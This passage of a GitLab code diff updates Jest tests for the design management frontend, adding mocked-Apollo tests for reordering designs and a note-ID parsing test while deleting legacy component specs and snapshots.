- mockClient.setRequestHandler(moveDesignMutation, moveDesignHandler);
-
- apolloProvider = new VueApollo({
- defaultClient: mockClient,
- });
-
- wrapper = shallowMount(Index, {
- localVue,
- apolloProvider,
- router,
- stubs: { VueDraggable },
- });
- }
-
- afterEach(() => {
- wrapper.destroy();
- wrapper = null;
- mockClient = null;
- apolloProvider = null;
- });
-
- it('has a design with id 1 as a first one', async () => {
- createComponent({});
-
- await jest.runOnlyPendingTimers();
- await wrapper.vm.$nextTick();
-
- expect(findDesigns()).toHaveLength(3);
- expect(
- findDesigns()
- .at(0)
- .props('id'),
- ).toBe('1');
- });
-
- it('calls a mutation with correct parameters and reorders designs', async () => {
- createComponent({});
-
- await moveDesigns(wrapper);
-
- expect(moveDesignHandler).toHaveBeenCalled();
-
- await wrapper.vm.$nextTick();
-
- expect(
- findDesigns()
- .at(0)
- .props('id'),
- ).toBe('2');
- });
-
- it('displays flash if mutation had a recoverable error', async () => {
- createComponent({
- moveHandler: jest.fn().mockResolvedValue(moveDesignMutationResponseWithErrors),
- });
-
- await moveDesigns(wrapper);
-
- await wrapper.vm.$nextTick();
-
- expect(createFlash).toHaveBeenCalledWith('Houston, we have a problem');
- });
-
- it('displays flash if mutation had a non-recoverable error', async () => {
- createComponent({
- moveHandler: jest.fn().mockRejectedValue('Error'),
- });
-
- await moveDesigns(wrapper);
-
- await jest.runOnlyPendingTimers();
- await wrapper.vm.$nextTick();
-
- expect(createFlash).toHaveBeenCalledWith(
- 'Something went wrong when reordering designs. Please try again',
- );
- });
-});
diff --git a/spec/frontend/design_management/pages/index_spec.js b/spec/frontend/design_management/pages/index_spec.js
index 093fa155d2e..661717d29a3 100644
--- a/spec/frontend/design_management/pages/index_spec.js
+++ b/spec/frontend/design_management/pages/index_spec.js
@@ -1,13 +1,15 @@
import { createLocalVue, shallowMount } from '@vue/test-utils';
-import { ApolloMutation } from 'vue-apollo';
+import VueApollo, { ApolloMutation } from 'vue-apollo';
import VueDraggable from 'vuedraggable';
import VueRouter from 'vue-router';
import { GlEmptyState } from '@gitlab/ui';
+import createMockApollo from 'jest/helpers/mock_apollo_helper';
import Index from '~/design_management/pages/index.vue';
import uploadDesignQuery from '~/design_management/graphql/mutations/upload_design.mutation.graphql';
import DesignDestroyer from '~/design_management/components/design_destroyer.vue';
import DesignDropzone from '~/design_management/components/upload/design_dropzone.vue';
import DeleteButton from '~/design_management/components/delete_button.vue';
+import Design from '~/design_management/components/list/item.vue';
import { DESIGNS_ROUTE_NAME } from '~/design_management/router/constants';
import {
EXISTING_DESIGN_DROP_MANY_FILES_MESSAGE,
@@ -17,6 +19,16 @@ import { deprecatedCreateFlash as createFlash } from '~/flash';
import createRouter from '~/design_management/router';
import * as utils from '~/design_management/utils/design_management_utils';
import { DESIGN_DETAIL_LAYOUT_CLASSLIST } from '~/design_management/constants';
+import {
+ designListQueryResponse,
+ permissionsQueryResponse,
+ moveDesignMutationResponse,
+ reorderedDesigns,
+ moveDesignMutationResponseWithErrors,
+} from '../mock_data/apollo_mock';
+import getDesignListQuery from '~/design_management/graphql/queries/get_design_list.query.graphql';
+import permissionsQuery from '~/design_management/graphql/queries/design_permissions.query.graphql';
+import moveDesignMutation from '~/design_management/graphql/mutations/move_design.mutation.graphql';
jest.mock('~/flash.js');
const mockPageEl = {
@@ -61,9 +73,21 @@ const mockVersion = {
id: 'gid://gitlab/DesignManagement::Version/1',
};
+const designToMove = {
+ __typename: 'Design',
+ id: '2',
+ event: 'NONE',
+ filename: 'fox_2.jpg',
+ notesCount: 2,
+ image: 'image-2',
+ imageV432x230: 'image-2',
+};
+
describe('Design management index page', () => {
let mutate;
let wrapper;
+ let fakeApollo;
+ let moveDesignHandler;
const findDesignCheckboxes = () => wrapper.findAll('.design-checkbox');
const findSelectAllButton = () => wrapper.find('.js-select-all');
@@ -74,6 +98,20 @@ describe('Design management index page', () => {
const findDropzoneWrapper = () => wrapper.find('[data-testid="design-dropzone-wrapper"]');
const findFirstDropzoneWithDesign = () => wrapper.findAll(DesignDropzone).at(1);
const findDesignsWrapper = () => wrapper.find('[data-testid="designs-root"]');
+ const findDesigns = () => wrapper.findAll(Design);
+
+ async function moveDesigns(localWrapper) {
+ await jest.runOnlyPendingTimers();
+ await localWrapper.vm.$nextTick();
+
+ localWrapper.find(VueDraggable).vm.$emit('input', reorderedDesigns);
+ localWrapper.find(VueDraggable).vm.$emit('change', {
+ moved: {
+ newIndex: 0,
+ element: designToMove,
+ },
+ });
+ }
function createComponent({
loading = false,
@@ -118,8 +156,30 @@ describe('Design management index page', () => {
});
}
+ function createComponentWithApollo({
+ moveHandler = jest.fn().mockResolvedValue(moveDesignMutationResponse),
+ }) {
+ localVue.use(VueApollo);
+ moveDesignHandler = moveHandler;
+
+ const requestHandlers = [
+ [getDesignListQuery, jest.fn().mockResolvedValue(designListQueryResponse)],
+ [permissionsQuery, jest.fn().mockResolvedValue(permissionsQueryResponse)],
+ [moveDesignMutation, moveDesignHandler],
+ ];
+
+ fakeApollo = createMockApollo(requestHandlers);
+ wrapper = shallowMount(Index, {
+ localVue,
+ apolloProvider: fakeApollo,
+ router,
+ stubs: { VueDraggable },
+ });
+ }
+
afterEach(() => {
wrapper.destroy();
+ wrapper = null;
});
describe('designs', () => {
@@ -478,16 +538,15 @@ describe('Design management index page', () => {
describe('on non-latest version', () => {
beforeEach(() => {
createComponent({ designs: mockDesigns, allVersions: [mockVersion] });
+ });
- router.replace({
+ it('does not render design checkboxes', async () => {
+ await router.replace({
name: DESIGNS_ROUTE_NAME,
query: {
version: '2',
},
});
- });
-
- it('does not render design checkboxes', () => {
expect(findDesignCheckboxes()).toHaveLength(0);
});
@@ -514,13 +573,6 @@ describe('Design management index page', () => {
files: [{ name: 'image.png', type: 'image/png' }],
getData: () => 'test.png',
};
-
- router.replace({
- name: DESIGNS_ROUTE_NAME,
- query: {
- version: '2',
- },
- });
});
it('does not call paste event if designs wrapper is not hovered', () => {
@@ -587,7 +639,69 @@ describe('Design management index page', () => {
});
createComponent(true);
- expect(scrollIntoViewMock).toHaveBeenCalled();
+ return wrapper.vm.$nextTick().then(() => {
+ expect(scrollIntoViewMock).toHaveBeenCalled();
+ });
+ });
+ });
+
+ describe('with mocked Apollo client', () => {
+ it('has a design with id 1 as a first one', async () => {
+ createComponentWithApollo({});
+
+ await jest.runOnlyPendingTimers();
+ await wrapper.vm.$nextTick();
+
+ expect(findDesigns()).toHaveLength(3);
+ expect(
+ findDesigns()
+ .at(0)
+ .props('id'),
+ ).toBe('1');
+ });
+
+ it('calls a mutation with correct parameters and reorders designs', async () => {
+ createComponentWithApollo({});
+
+ await moveDesigns(wrapper);
+
+ expect(moveDesignHandler).toHaveBeenCalled();
+
+ await wrapper.vm.$nextTick();
+
+ expect(
+ findDesigns()
+ .at(0)
+ .props('id'),
+ ).toBe('2');
+ });
+
+ it('displays flash if mutation had a recoverable error', async () => {
+ createComponentWithApollo({
+ moveHandler: jest.fn().mockResolvedValue(moveDesignMutationResponseWithErrors),
+ });
+
+ await moveDesigns(wrapper);
+
+ await wrapper.vm.$nextTick();
+
+ expect(createFlash).toHaveBeenCalledWith('Houston, we have a problem');
+ });
+
+ it('displays flash if mutation had a non-recoverable error', async () => {
+ createComponentWithApollo({
+ moveHandler: jest.fn().mockRejectedValue('Error'),
+ });
+
+ await moveDesigns(wrapper);
+
+ await wrapper.vm.$nextTick(); // kick off the DOM update
+ await jest.runOnlyPendingTimers(); // kick off the mocked GQL stuff (promises)
+ await wrapper.vm.$nextTick(); // kick off the DOM update for flash
+
+ expect(createFlash).toHaveBeenCalledWith(
+ 'Something went wrong when reordering designs. Please try again',
+ );
});
});
});
diff --git a/spec/frontend/design_management/router_spec.js b/spec/frontend/design_management/router_spec.js
index 2b8c7ee959b..d4cb9f75a77 100644
--- a/spec/frontend/design_management/router_spec.js
+++ b/spec/frontend/design_management/router_spec.js
@@ -35,11 +35,6 @@ function factory(routeArg) {
});
}
-jest.mock('mousetrap', () => ({
- bind: jest.fn(),
- unbind: jest.fn(),
-}));
-
describe('Design management router', () => {
afterEach(() => {
window.location.hash = '';
diff --git a/spec/frontend/design_management/utils/cache_update_spec.js b/spec/frontend/design_management/utils/cache_update_spec.js
index e8a5cf3949d..6c859e8c3e8 100644
--- a/spec/frontend/design_management/utils/cache_update_spec.js
+++ b/spec/frontend/design_management/utils/cache_update_spec.js
@@ -1,14 +1,12 @@
import { InMemoryCache } from 'apollo-cache-inmemory';
import {
updateStoreAfterDesignsDelete,
- updateStoreAfterAddDiscussionComment,
updateStoreAfterAddImageDiffNote,
updateStoreAfterUploadDesign,
updateStoreAfterUpdateImageDiffNote,
} from '~/design_management/utils/cache_update';
import {
designDeletionError,
- ADD_DISCUSSION_COMMENT_ERROR,
ADD_IMAGE_DIFF_NOTE_ERROR,
UPDATE_IMAGE_DIFF_NOTE_ERROR,
} from '~/design_management/utils/error_messages';
@@ -28,12 +26,11 @@ describe('Design Management cache update', () => {
describe('error handling', () => {
it.each`
- fnName | subject | errorMessage | extraArgs
- ${'updateStoreAfterDesignsDelete'} | ${updateStoreAfterDesignsDelete} | ${designDeletionError({ singular: true })} | ${[[design]]}
- ${'updateStoreAfterAddDiscussionComment'} | ${updateStoreAfterAddDiscussionComment} | ${ADD_DISCUSSION_COMMENT_ERROR} | ${[]}
- ${'updateStoreAfterAddImageDiffNote'} | ${updateStoreAfterAddImageDiffNote} | ${ADD_IMAGE_DIFF_NOTE_ERROR} | ${[]}
- ${'updateStoreAfterUploadDesign'} | ${updateStoreAfterUploadDesign} | ${mockErrors[0]} | ${[]}
- ${'updateStoreAfterUpdateImageDiffNote'} | ${updateStoreAfterUpdateImageDiffNote} | ${UPDATE_IMAGE_DIFF_NOTE_ERROR} | ${[]}
+ fnName | subject | errorMessage | extraArgs
+ ${'updateStoreAfterDesignsDelete'} | ${updateStoreAfterDesignsDelete} | ${designDeletionError({ singular: true })} | ${[[design]]}
+ ${'updateStoreAfterAddImageDiffNote'} | ${updateStoreAfterAddImageDiffNote} | ${ADD_IMAGE_DIFF_NOTE_ERROR} | ${[]}
+ ${'updateStoreAfterUploadDesign'} | ${updateStoreAfterUploadDesign} | ${mockErrors[0]} | ${[]}
+ ${'updateStoreAfterUpdateImageDiffNote'} | ${updateStoreAfterUpdateImageDiffNote} | ${UPDATE_IMAGE_DIFF_NOTE_ERROR} | ${[]}
`('$fnName handles errors in response', ({ subject, extraArgs, errorMessage }) => {
expect(createFlash).not.toHaveBeenCalled();
expect(() => subject(mockStore, { errors: mockErrors }, {}, ...extraArgs)).toThrow();
diff --git a/spec/frontend/design_management/utils/design_management_utils_spec.js b/spec/frontend/design_management/utils/design_management_utils_spec.js
index e6d836b9157..7e857d08d25 100644
--- a/spec/frontend/design_management/utils/design_management_utils_spec.js
+++ b/spec/frontend/design_management/utils/design_management_utils_spec.js
@@ -6,6 +6,7 @@ import {
updateImageDiffNoteOptimisticResponse,
isValidDesignFile,
extractDesign,
+ extractDesignNoteId,
} from '~/design_management/utils/design_management_utils';
import mockResponseNoDesigns from '../mock_data/no_designs';
import mockResponseWithDesigns from '../mock_data/designs';
@@ -171,3 +172,19 @@ describe('extractDesign', () => {
});
});
});
+
+describe('extractDesignNoteId', () => {
+ it.each`
+ hash | expectedNoteId
+ ${'#note_0'} | ${'0'}
+ ${'#note_1'} | ${'1'}
+ ${'#note_23'} | ${'23'}
+ ${'#note_456'} | ${'456'}
+ ${'note_1'} | ${null}
+ ${'#note_'} | ${null}
+ ${'#note_asd'} | ${null}
+ ${'#note_1asd'} | ${null}
+ `('returns $expectedNoteId when hash is $hash', ({ hash, expectedNoteId }) => {
+ expect(extractDesignNoteId(hash)).toBe(expectedNoteId);
+ });
+});
diff --git a/spec/frontend/design_management_legacy/components/__snapshots__/design_note_pin_spec.js.snap b/spec/frontend/design_management_legacy/components/__snapshots__/design_note_pin_spec.js.snap
deleted file mode 100644
index 62a0f675cff..00000000000
--- a/spec/frontend/design_management_legacy/components/__snapshots__/design_note_pin_spec.js.snap
+++ /dev/null
@@ -1,42 +0,0 @@
-// Jest Snapshot v1, https://goo.gl/fbAQLP
-
-exports[`Design note pin component should match the snapshot of note when repositioning 1`] = `
-<button
- aria-label="Comment form position"
- class="design-pin gl-absolute gl-display-flex gl-align-items-center gl-justify-content-center gl-p-0 btn-transparent comment-indicator"
- style="left: 10px; top: 10px; cursor: move;"
- type="button"
->
- <gl-icon-stub
- name="image-comment-dark"
- size="24"
- />
-</button>
-`;
-
-exports[`Design note pin component should match the snapshot of note with index 1`] = `
-<button
- aria-label="Comment '1' position"
- class="design-pin gl-absolute gl-display-flex gl-align-items-center gl-justify-content-center gl-p-0 js-image-badge badge badge-pill"
- style="left: 10px; top: 10px;"
- type="button"
->
-
- 1
-
-</button>
-`;
-
-exports[`Design note pin component should match the snapshot of note without index 1`] = `
-<button
- aria-label="Comment form position"
- class="design-pin gl-absolute gl-display-flex gl-align-items-center gl-justify-content-center gl-p-0 btn-transparent comment-indicator"
- style="left: 10px; top: 10px;"
- type="button"
->
- <gl-icon-stub
- name="image-comment-dark"
- size="24"
- />
-</button>
-`;
diff --git a/spec/frontend/design_management_legacy/components/__snapshots__/design_presentation_spec.js.snap b/spec/frontend/design_management_legacy/components/__snapshots__/design_presentation_spec.js.snap
deleted file mode 100644
index 189962c5b2e..00000000000
--- a/spec/frontend/design_management_legacy/components/__snapshots__/design_presentation_spec.js.snap
+++ /dev/null
@@ -1,104 +0,0 @@
-// Jest Snapshot v1, https://goo.gl/fbAQLP
-
-exports[`Design management design presentation component currentCommentForm is equal to current annotation position when isAnnotating is true 1`] = `
-<div
- class="h-100 w-100 p-3 overflow-auto position-relative"
->
- <div
- class="h-100 w-100 d-flex align-items-center position-relative"
- >
- <design-image-stub
- image="test.jpg"
- name="test"
- scale="1"
- />
-
- <design-overlay-stub
- currentcommentform="[object Object]"
- dimensions="[object Object]"
- notes=""
- position="[object Object]"
- />
- </div>
-</div>
-`;
-
-exports[`Design management design presentation component currentCommentForm is null when isAnnotating is false 1`] = `
-<div
- class="h-100 w-100 p-3 overflow-auto position-relative"
->
- <div
- class="h-100 w-100 d-flex align-items-center position-relative"
- >
- <design-image-stub
- image="test.jpg"
- name="test"
- scale="1"
- />
-
- <design-overlay-stub
- dimensions="[object Object]"
- notes=""
- position="[object Object]"
- />
- </div>
-</div>
-`;
-
-exports[`Design management design presentation component currentCommentForm is null when isAnnotating is true but annotation position is falsey 1`] = `
-<div
- class="h-100 w-100 p-3 overflow-auto position-relative"
->
- <div
- class="h-100 w-100 d-flex align-items-center position-relative"
- >
- <design-image-stub
- image="test.jpg"
- name="test"
- scale="1"
- />
-
- <design-overlay-stub
- dimensions="[object Object]"
- notes=""
- position="[object Object]"
- />
- </div>
-</div>
-`;
-
-exports[`Design management design presentation component renders empty state when no image provided 1`] = `
-<div
- class="h-100 w-100 p-3 overflow-auto position-relative"
->
- <div
- class="h-100 w-100 d-flex align-items-center position-relative"
- >
- <!---->
-
- <!---->
- </div>
-</div>
-`;
-
-exports[`Design management design presentation component renders image and overlay when image provided 1`] = `
-<div
- class="h-100 w-100 p-3 overflow-auto position-relative"
->
- <div
- class="h-100 w-100 d-flex align-items-center position-relative"
- >
- <design-image-stub
- image="test.jpg"
- name="test"
- scale="1"
- />
-
- <design-overlay-stub
- dimensions="[object Object]"
- notes=""
- position="[object Object]"
- />
- </div>
-</div>
-`;
diff --git a/spec/frontend/design_management_legacy/components/__snapshots__/design_scaler_spec.js.snap b/spec/frontend/design_management_legacy/components/__snapshots__/design_scaler_spec.js.snap
deleted file mode 100644
index cb4575cbd11..00000000000
--- a/spec/frontend/design_management_legacy/components/__snapshots__/design_scaler_spec.js.snap
+++ /dev/null
@@ -1,115 +0,0 @@
-// Jest Snapshot v1, https://goo.gl/fbAQLP
-
-exports[`Design management design scaler component minus and reset buttons are disabled when scale === 1 1`] = `
-<div
- class="design-scaler btn-group"
- role="group"
->
- <button
- class="btn"
- disabled="disabled"
- >
- <span
- class="d-flex-center gl-icon s16"
- >
-
- –
-
- </span>
- </button>
-
- <button
- class="btn"
- disabled="disabled"
- >
- <gl-icon-stub
- name="redo"
- size="16"
- />
- </button>
-
- <button
- class="btn"
- >
- <gl-icon-stub
- name="plus"
- size="16"
- />
- </button>
-</div>
-`;
-
-exports[`Design management design scaler component minus and reset buttons are enabled when scale > 1 1`] = `
-<div
- class="design-scaler btn-group"
- role="group"
->
- <button
- class="btn"
- >
- <span
- class="d-flex-center gl-icon s16"
- >
-
- –
-
- </span>
- </button>
-
- <button
- class="btn"
- >
- <gl-icon-stub
- name="redo"
- size="16"
- />
- </button>
-
- <button
- class="btn"
- >
- <gl-icon-stub
- name="plus"
- size="16"
- />
- </button>
-</div>
-`;
-
-exports[`Design management design scaler component plus button is disabled when scale === 2 1`] = `
-<div
- class="design-scaler btn-group"
- role="group"
->
- <button
- class="btn"
- >
- <span
- class="d-flex-center gl-icon s16"
- >
-
- –
-
- </span>
- </button>
-
- <button
- class="btn"
- >
- <gl-icon-stub
- name="redo"
- size="16"
- />
- </button>
-
- <button
- class="btn"
- disabled="disabled"
- >
- <gl-icon-stub
- name="plus"
- size="16"
- />
- </button>
-</div>
-`;
diff --git a/spec/frontend/design_management_legacy/components/__snapshots__/image_spec.js.snap b/spec/frontend/design_management_legacy/components/__snapshots__/image_spec.js.snap
deleted file mode 100644
index acaa62b11eb..00000000000
--- a/spec/frontend/design_management_legacy/components/__snapshots__/image_spec.js.snap
+++ /dev/null
@@ -1,68 +0,0 @@
-// Jest Snapshot v1, https://goo.gl/fbAQLP
-
-exports[`Design management large image component renders image 1`] = `
-<div
- class="m-auto js-design-image"
->
- <!---->
-
- <img
- alt="test"
- class="mh-100 img-fluid"
- src="test.jpg"
- />
-</div>
-`;
-
-exports[`Design management large image component renders loading state 1`] = `
-<div
- class="m-auto js-design-image"
- isloading="true"
->
- <!---->
-
- <img
- alt=""
- class="mh-100 img-fluid"
- src=""
- />
-</div>
-`;
-
-exports[`Design management large image component renders media broken icon on error 1`] = `
-<gl-icon-stub
- class="text-secondary-100"
- name="media-broken"
- size="48"
-/>
-`;
-
-exports[`Design management large image component sets correct classes and styles if imageStyle is set 1`] = `
-<div
- class="m-auto js-design-image"
->
- <!---->
-
- <img
- alt="test"
- class="mh-100"
- src="test.jpg"
- style="width: 100px; height: 100px;"
- />
-</div>
-`;
-
-exports[`Design management large image component zoom sets image style when zoomed 1`] = `
-<div
- class="m-auto js-design-image"
->
- <!---->
-
- <img
- alt="test"
- class="mh-100"
- src="test.jpg"
- style="width: 200px; height: 200px;"
- />
-</div>
-`;
diff --git a/spec/frontend/design_management_legacy/components/delete_button_spec.js b/spec/frontend/design_management_legacy/components/delete_button_spec.js
deleted file mode 100644
index 73b4908d06a..00000000000
--- a/spec/frontend/design_management_legacy/components/delete_button_spec.js
+++ /dev/null
@@ -1,51 +0,0 @@
-import { shallowMount } from '@vue/test-utils';
-import { GlDeprecatedButton, GlModal, GlModalDirective } from '@gitlab/ui';
-import BatchDeleteButton from '~/design_management_legacy/components/delete_button.vue';
-
-describe('Batch delete button component', () => {
- let wrapper;
-
- const findButton = () => wrapper.find(GlDeprecatedButton);
- const findModal = () => wrapper.find(GlModal);
-
- function createComponent(isDeleting = false) {
- wrapper = shallowMount(BatchDeleteButton, {
- propsData: {
- isDeleting,
- },
- directives: {
- GlModalDirective,
- },
- });
- }
-
- afterEach(() => {
- wrapper.destroy();
- });
-
- it('renders non-disabled button by default', () => {
- createComponent();
-
- expect(findButton().exists()).toBe(true);
- expect(findButton().attributes('disabled')).toBeFalsy();
- });
-
- it('renders disabled button when design is deleting', () => {
- createComponent(true);
- expect(findButton().attributes('disabled')).toBeTruthy();
- });
-
- it('emits `deleteSelectedDesigns` event on modal ok click', () => {
- createComponent();
- findButton().vm.$emit('click');
- return wrapper.vm
- .$nextTick()
- .then(() => {
- findModal().vm.$emit('ok');
- return wrapper.vm.$nextTick();
- })
- .then(() => {
- expect(wrapper.emitted().deleteSelectedDesigns).toBeTruthy();
- });
- });
-});
diff --git a/spec/frontend/design_management_legacy/components/design_note_pin_spec.js b/spec/frontend/design_management_legacy/components/design_note_pin_spec.js
deleted file mode 100644
index 3077928cf86..00000000000
--- a/spec/frontend/design_management_legacy/components/design_note_pin_spec.js
+++ /dev/null
@@ -1,49 +0,0 @@
-import { shallowMount } from '@vue/test-utils';
-import DesignNotePin from '~/design_management_legacy/components/design_note_pin.vue';
-
-describe('Design note pin component', () => {
- let wrapper;
-
- function createComponent(propsData = {}) {
- wrapper = shallowMount(DesignNotePin, {
- propsData: {
- position: {
- left: '10px',
- top: '10px',
- },
- ...propsData,
- },
- });
- }
-
- afterEach(() => {
- wrapper.destroy();
- });
-
- it('should match the snapshot of note without index', () => {
- createComponent();
- expect(wrapper.element).toMatchSnapshot();
- });
-
- it('should match the snapshot of note with index', () => {
- createComponent({ label: 1 });
- expect(wrapper.element).toMatchSnapshot();
- });
-
- it('should match the snapshot of note when repositioning', () => {
- createComponent({ repositioning: true });
- expect(wrapper.element).toMatchSnapshot();
- });
-
- describe('pinStyle', () => {
- it('sets cursor to `move` when repositioning = true', () => {
- createComponent({ repositioning: true });
- expect(wrapper.vm.pinStyle.cursor).toBe('move');
- });
-
- it('does not set cursor when repositioning = false', () => {
- createComponent();
- expect(wrapper.vm.pinStyle.cursor).toBe(undefined);
- });
- });
-});
diff --git a/spec/frontend/design_management_legacy/components/design_notes/__snapshots__/design_note_spec.js.snap b/spec/frontend/design_management_legacy/components/design_notes/__snapshots__/design_note_spec.js.snap
deleted file mode 100644
index b55bacb6fc5..00000000000
--- a/spec/frontend/design_management_legacy/components/design_notes/__snapshots__/design_note_spec.js.snap
+++ /dev/null
@@ -1,67 +0,0 @@
-// Jest Snapshot v1, https://goo.gl/fbAQLP
-
-exports[`Design note component should match the snapshot 1`] = `
-<timeline-entry-item-stub
- class="design-note note-form"
- id="note_123"
->
- <user-avatar-link-stub
- imgalt=""
- imgcssclasses=""
- imgsize="40"
- imgsrc=""
- linkhref=""
- tooltipplacement="top"
- tooltiptext=""
- username=""
- />
-
- <div
- class="d-flex justify-content-between"
- >
- <div>
- <a
- class="js-user-link"
- data-user-id="author-id"
- >
- <span
- class="note-header-author-name bold"
- >
-
- </span>
-
- <!---->
-
- <span
- class="note-headline-light"
- >
- @
- </span>
- </a>
-
- <span
- class="note-headline-light note-headline-meta"
- >
- <span
- class="system-note-message"
- />
-
- <!---->
- </span>
- </div>
-
- <div
- class="gl-display-flex"
- >
-
- <!---->
- </div>
- </div>
-
- <div
- class="note-text js-note-text md"
- data-qa-selector="note_content"
- />
-
-</timeline-entry-item-stub>
-`;
diff --git a/spec/frontend/design_management_legacy/components/design_notes/__snapshots__/design_reply_form_spec.js.snap b/spec/frontend/design_management_legacy/components/design_notes/__snapshots__/design_reply_form_spec.js.snap
deleted file mode 100644
index e01c79e3520..00000000000
--- a/spec/frontend/design_management_legacy/components/design_notes/__snapshots__/design_reply_form_spec.js.snap
+++ /dev/null
@@ -1,15 +0,0 @@
-// Jest Snapshot v1, https://goo.gl/fbAQLP
-
-exports[`Design reply form component renders button text as "Comment" when creating a comment 1`] = `
-"<button data-track-event=\\"click_button\\" data-qa-selector=\\"save_comment_button\\" type=\\"submit\\" disabled=\\"disabled\\" class=\\"btn btn-success btn-md disabled\\">
- <!---->
- Comment
-</button>"
-`;
-
-exports[`Design reply form component renders button text as "Save comment" when creating a comment 1`] = `
-"<button data-track-event=\\"click_button\\" data-qa-selector=\\"save_comment_button\\" type=\\"submit\\" disabled=\\"disabled\\" class=\\"btn btn-success btn-md disabled\\">
- <!---->
- Save comment
-</button>"
-`;
diff --git a/spec/frontend/design_management_legacy/components/design_notes/design_discussion_spec.js b/spec/frontend/design_management_legacy/components/design_notes/design_discussion_spec.js
deleted file mode 100644
index d20be97f470..00000000000
--- a/spec/frontend/design_management_legacy/components/design_notes/design_discussion_spec.js
+++ /dev/null
@@ -1,318 +0,0 @@
-import { mount } from '@vue/test-utils';
-import { GlLoadingIcon } from '@gitlab/ui';
-import notes from '../../mock_data/notes';
-import DesignDiscussion from '~/design_management_legacy/components/design_notes/design_discussion.vue';
-import DesignNote from '~/design_management_legacy/components/design_notes/design_note.vue';
-import DesignReplyForm from '~/design_management_legacy/components/design_notes/design_reply_form.vue';
-import createNoteMutation from '~/design_management_legacy/graphql/mutations/create_note.mutation.graphql';
-import toggleResolveDiscussionMutation from '~/design_management_legacy/graphql/mutations/toggle_resolve_discussion.mutation.graphql';
-import ReplyPlaceholder from '~/notes/components/discussion_reply_placeholder.vue';
-import ToggleRepliesWidget from '~/design_management_legacy/components/design_notes/toggle_replies_widget.vue';
-
-const discussion = {
- id: '0',
- resolved: false,
- resolvable: true,
- notes,
-};
-
-describe('Design discussions component', () => {
- let wrapper;
-
- const findDesignNotes = () => wrapper.findAll(DesignNote);
- const findReplyPlaceholder = () => wrapper.find(ReplyPlaceholder);
- const findReplyForm = () => wrapper.find(DesignReplyForm);
- const findRepliesWidget = () => wrapper.find(ToggleRepliesWidget);
- const findResolveButton = () => wrapper.find('[data-testid="resolve-button"]');
- const findResolveIcon = () => wrapper.find('[data-testid="resolve-icon"]');
- const findResolvedMessage = () => wrapper.find('[data-testid="resolved-message"]');
- const findResolveLoadingIcon = () => wrapper.find(GlLoadingIcon);
- const findResolveCheckbox = () => wrapper.find('[data-testid="resolve-checkbox"]');
-
- const mutationVariables = {
- mutation: createNoteMutation,
- update: expect.anything(),
- variables: {
- input: {
- noteableId: 'noteable-id',
- body: 'test',
- discussionId: '0',
- },
- },
- };
- const mutate = jest.fn(() => Promise.resolve());
- const $apollo = {
- mutate,
- };
-
- function createComponent(props = {}, data = {}) {
- wrapper = mount(DesignDiscussion, {
- propsData: {
- resolvedDiscussionsExpanded: true,
- discussion,
- noteableId: 'noteable-id',
- designId: 'design-id',
- discussionIndex: 1,
- discussionWithOpenForm: '',
- ...props,
- },
- data() {
- return {
- ...data,
- };
- },
- mocks: {
- $apollo,
- $route: {
- hash: '#note_1',
- },
- },
- });
- }
-
- afterEach(() => {
- wrapper.destroy();
- });
-
- describe('when discussion is not resolvable', () => {
- beforeEach(() => {
- createComponent({
- discussion: {
- ...discussion,
- resolvable: false,
- },
- });
- });
-
- it('does not render an icon to resolve a thread', () => {
- expect(findResolveIcon().exists()).toBe(false);
- });
-
- it('does not render a checkbox in reply form', () => {
- findReplyPlaceholder().vm.$emit('onMouseDown');
-
- return wrapper.vm.$nextTick().then(() => {
- expect(findResolveCheckbox().exists()).toBe(false);
- });
- });
- });
-
- describe('when discussion is unresolved', () => {
- beforeEach(() => {
- createComponent();
- });
-
- it('renders correct amount of discussion notes', () => {
- expect(findDesignNotes()).toHaveLength(2);
- expect(findDesignNotes().wrappers.every(w => w.isVisible())).toBe(true);
- });
-
- it('renders reply placeholder', () => {
- expect(findReplyPlaceholder().isVisible()).toBe(true);
- });
-
- it('does not render toggle replies widget', () => {
- expect(findRepliesWidget().exists()).toBe(false);
- });
-
- it('renders a correct icon to resolve a thread', () => {
- expect(findResolveIcon().props('name')).toBe('check-circle');
- });
-
- it('renders a checkbox with Resolve thread text in reply form', () => {
- findReplyPlaceholder().vm.$emit('onClick');
- wrapper.setProps({ discussionWithOpenForm: discussion.id });
-
- return wrapper.vm.$nextTick().then(() => {
- expect(findResolveCheckbox().text()).toBe('Resolve thread');
- });
- });
-
- it('does not render resolved message', () => {
- expect(findResolvedMessage().exists()).toBe(false);
- });
- });
-
- describe('when discussion is resolved', () => {
- beforeEach(() => {
- createComponent({
- discussion: {
- ...discussion,
- resolved: true,
- resolvedBy: notes[0].author,
- resolvedAt: '2020-05-08T07:10:45Z',
- },
- });
- });
-
- it('shows only the first note', () => {
- expect(
- findDesignNotes()
- .at(0)
- .isVisible(),
- ).toBe(true);
- expect(
- findDesignNotes()
- .at(1)
- .isVisible(),
- ).toBe(false);
- });
-
- it('renders resolved message', () => {
- expect(findResolvedMessage().exists()).toBe(true);
- });
-
- it('does not show renders reply placeholder', () => {
- expect(findReplyPlaceholder().isVisible()).toBe(false);
- });
-
- it('renders toggle replies widget with correct props', () => {
- expect(findRepliesWidget().exists()).toBe(true);
- expect(findRepliesWidget().props()).toEqual({
- collapsed: true,
- replies: notes.slice(1),
- });
- });
-
- it('renders a correct icon to resolve a thread', () => {
- expect(findResolveIcon().props('name')).toBe('check-circle-filled');
- });
-
- describe('when replies are expanded', () => {
- beforeEach(() => {
- findRepliesWidget().vm.$emit('toggle');
- return wrapper.vm.$nextTick();
- });
-
- it('renders replies widget with collapsed prop equal to false', () => {
- expect(findRepliesWidget().props('collapsed')).toBe(false);
- });
-
- it('renders the second note', () => {
- expect(
- findDesignNotes()
- .at(1)
- .isVisible(),
- ).toBe(true);
- });
-
- it('renders a reply placeholder', () => {
- expect(findReplyPlaceholder().isVisible()).toBe(true);
- });
-
- it('renders a checkbox with Unresolve thread text in reply form', () => {
- findReplyPlaceholder().vm.$emit('onClick');
- wrapper.setProps({ discussionWithOpenForm: discussion.id });
-
- return wrapper.vm.$nextTick().then(() => {
- expect(findResolveCheckbox().text()).toBe('Unresolve thread');
- });
- });
- });
- });
-
- it('hides reply placeholder and opens form on placeholder click', () => {
- createComponent();
- findReplyPlaceholder().vm.$emit('onClick');
- wrapper.setProps({ discussionWithOpenForm: discussion.id });
-
- return wrapper.vm.$nextTick().then(() => {
- expect(findReplyPlaceholder().exists()).toBe(false);
- expect(findReplyForm().exists()).toBe(true);
- });
- });
-
- it('calls mutation on submitting form and closes the form', () => {
- createComponent(
- { discussionWithOpenForm: discussion.id },
- { discussionComment: 'test', isFormRendered: true },
- );
-
- findReplyForm().vm.$emit('submitForm');
